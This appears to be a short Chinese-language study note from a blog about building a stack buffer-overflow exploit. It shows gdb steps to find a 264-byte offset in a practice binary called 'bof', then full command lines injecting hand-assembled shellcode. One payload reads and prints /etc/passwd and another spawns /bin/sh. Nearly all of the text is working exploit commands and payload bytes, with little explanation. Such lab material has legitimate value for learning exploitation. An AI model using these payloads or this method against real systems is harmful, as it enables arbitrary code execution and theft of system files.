分类： C/C++
2015-03-07 15:22:13
Shellcode构造
主要是通过填写一对垃圾数据，让程序跳转到栈的其实位置，然后执行传过去的垃圾数据中夹杂的硬编码。
gdb -tui bof
set disassembly-flavor intel
layout asm
layout regs
break main
disassemble main
run $(python -c 'print "A" * 300')
x/20xg $rsp
初始填充位置
0x7fffffffe2b0 相当于 0x7fffffffdc90
rsp 0x7fffffffe2a0
执行leave后
0x7fffffffe3b8 相当于 0x7fffffffdd98
栈指针rsp是：0x7fffffffe3b8 相当于 0x7fffffffdd98
栈指针的位置 减去 初始填充位置
0x7fffffffe3b8 - 0x7fffffffe2b0 = 264
0x7fffffffdd98 - 0x7fffffffdc90 = 0x108 -> 十进制的264
0x7fffffffe3d0: 0x4141414141414141 0x0000424242424242
这里的0x7fffffffe3d0相当于0x7fffffffddb8
leave后的结果：
rsp 0x7fffffffe3e0 0x7fffffffe3e0
相当于
rsp 0x7fffffffddc0 0x7fffffffddc0
set disassembly-flavor intel
layout asm
layout regs
break main
disassemble main
run $(python -c 'print "A" * 264 + "B" * 6')
x/30xg $rsp
x/50xg $rsp
0x7fffffffe3d0
0x7fffffffe2c0
set disassembly-flavor intel
layout asm
layout regs
break main
disassemble main
run $(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xe2\xb0"[::-1]')
7fffffffe2b0
rm -rf readfile.o
nasm -f elf64 readfile.asm -o readfile.o
for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
./bof $(python -c 'print "\xe9\x3f\x00\x00\x00\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d
\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c
\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xe3\xd0"[::-1]')
===========
gdb -tui bof
./bof $(python -c 'print "\xe9\x3f\x00\x00\x00\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 + "\x7f\xff\xff\xff\xe3\x00"[::-1]')
82+182=264
38+226 =264
./bof $(python -c 'print "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" + "A" * 226 + "\x7f\xff\xff\xff\xe3\x01"[::-1]')
